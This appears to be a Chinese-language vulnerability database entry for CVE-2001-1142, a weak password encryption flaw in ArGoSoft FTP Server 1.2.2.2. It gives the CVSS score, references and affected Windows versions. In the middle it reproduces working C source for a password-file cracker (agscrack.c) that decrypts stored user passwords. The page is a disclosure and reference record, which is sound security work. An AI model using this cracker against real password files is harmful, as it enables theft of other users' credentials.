CVE-2001-1142
CVSS5.0
发布时间 :2001-07-12 00:00:00
修订时间 :2008-09-05 16:25:47
NMCOES    

[原文]ArGoSoft FTP Server 1.2.2.2 uses weak encryption for user passwords, which allows an attacker with access to the password file to gain privileges.


[CNNVD]ArGoSoft FTP Server 脆弱密码加密漏洞(CNNVD-200107-080)

        CVE(CAN) ID: CAN-2001-1142
        
        
        
        ArGoSoft FTP Server是Windows平台下的FTP服务器。
        
        
        
        由于设计的错误,导致授权用户可以访问其它用户的密码,而由于这些密码脆弱的加密
        
        机制,导致使用第三方软件可以反向解密。
        
        
        
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1142
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1142
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-080
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3029
(VENDOR_ADVISORY)  BID  3029
http://www.securityfocus.com/archive/1/196968
(VENDOR_ADVISORY)  BUGTRAQ  20010712 ArGoSoft FTP Server 1.2.2.2 Weak password encryption
http://www.iss.net/security_center/static/6848.php
(VENDOR_ADVISORY)  XF  argosoft-ftp-weak-encryption(6848)

- 漏洞信息

ArGoSoft FTP Server 脆弱密码加密漏洞
中危 设计错误
2001-07-12 00:00:00 2006-09-05 00:00:00
远程  
        CVE(CAN) ID: CAN-2001-1142
        
        
        
        ArGoSoft FTP Server是Windows平台下的FTP服务器。
        
        
        
        由于设计的错误,导致授权用户可以访问其它用户的密码,而由于这些密码脆弱的加密
        
        机制,导致使用第三方软件可以反向解密。
        
        
        
        

- 公告与补丁

        
        
        厂商补丁:
        
        
        
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
        
        的主页以获取最新版本:
        
        
        http://www.argosoft.com/applications/ftpserver/

        

- 漏洞信息 (21009)

ArGoSoft FTP Server 1.2.2 .2 Weak Password Encryption Vulnerability (EDBID:21009)
windows remote
2001-07-12 Verified
0 byterage
N/A [点击下载]
source: http://www.securityfocus.com/bid/3029/info

ArGoSoft FTP server is an FTP server for the Windows platform.

A design error exists in ArGoSoft FTP which enables an authenticated user to view other users encrypted passwords. However due to a weak encryption scheme it is possible for a user to decrypt the password using a third party utility. 

/********************************************************************

 * agscrack.c - ArGoSoft FTP Server 1.2.2.2 password file cracker   *

 * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *

 ********************************************************************/



#include <string.h>

#include <stdio.h>



int len; FILE *fh;



/* DECRYPTION ALGORITHMS */

unsigned char char2bin(unsigned char inbyte) {

  if ((inbyte >= 'A') && (inbyte <= 'Z')) { len++; return(inbyte-'A');
}

  if ((inbyte >= 'a') && (inbyte <= 'z')) { len++;
return(inbyte-'a'+26); }

  if ((inbyte >= '0') && (inbyte <= '9')) { len++; return(inbyte+4); }

  if (inbyte == '+') { len++; return('\x3E'); }

  if (inbyte == '/') { len++; return('\x3F'); }

  return('\x00');

}

void decode(unsigned char chars[], unsigned char bytes[]) {

  int i,retval=0;

  for(i=0; i<4; i++) { retval <<= 6; retval |= char2bin(chars[i]); }

  for(i=0; i<3; i++) { bytes[2-i] = retval & 0xFF; retval >>= 8; }

  len--;

}

void decryptpass(unsigned char encrypted[], unsigned char decrypted[])
{

  const unsigned char heavycrypt0[] =
"T3ZlciB0aGUgaGlsbHMgYW5kIGZhciBhd2F5LCBUZWxldHViYmllcyBjb21lIHRvIHBsYXk
=";

  unsigned int j, k=0, l;

  len = 0;

  for(j=0; j<strlen(encrypted); j+=4) {

    decode(&encrypted[j], &decrypted[k]);

    for(l=0; l<3; l++) { decrypted[k] ^= heavycrypt0[k++]; }

  }

  decrypted[len] = '\x00';

}

/* DECRYPTION ALGORITHMS END */



void main(int argc, char ** argv) {

  char password[128]; /* ArGoSoft's passwords don't get larger than 128
bytes */

  char buf[256]; char b;

  int rd;



  printf("ArGoSoft FTP Server 1.2.2.2 password file cracker by
[ByteRage]\n\n");

  if (argc<2) { printf("Syntax : %s <password(file)>\n", argv[0]);
return 1; }

  

  fh = fopen(argv[1], "rb");

  if (!fh) {

    decryptpass(argv[1], &password);

    printf("%s -> %s\n", argv[1], password);

    return 0;

  } else {

    /* simple password file processor */

    fread(&buf,1,1,fh);

    if (buf[0] == 4) {

      while (1) {

        if (fread(&b,1,1,fh) == 0) { break; }

        if (fread(&buf,1,b+1,fh) == 0) { break; }

        printf("%s : ", buf);

        b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }

        if (fread(&buf,1,b+1,fh) == 0) { break; }

        decryptpass(&buf, &password);

        printf("%s -> %s\n", &buf, password);

        b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }

        if (fread(&buf,1,b+1,fh) == 0) { break; }

        b=0; while(b!=4) if (fread(&b,1,1,fh) == 0) { break; }

      }

    } else printf("error when processing passwordfile!");

    fclose(fh);  

  }

}
		

- 漏洞信息

11329
ArGoSoft FTP Server Password Storage Weak Encryption
Local Access Required Cryptographic
Loss of Confidentiality
Exploit Public

- 漏洞描述

- 时间线

2001-07-12 Unknow
2001-07-12 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

ArGoSoft FTP Server Weak Password Encryption Vulnerability
Design Error 3029
Yes No
2001-07-12 12:00:00 2009-07-11 06:56:00
Discovered and posted to Bugtraq by ByteRage <byterage@yahoo.com> on July 12, 2001.

- 受影响的程序版本

ArGoSoft FTP Server 1.2.2 .2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 95
- Microsoft Windows 98 b
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0

- 漏洞讨论

ArGoSoft FTP server is an FTP server for the Windows platform.

A design error exists in ArGoSoft FTP which enables an authenticated user to view other users encrypted passwords. However due to a weak encryption scheme it is possible for a user to decrypt the password using a third party utility.

- 漏洞利用

ByteRage &lt;byterage@yahoo.com&gt; has provided the following password file cracker:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站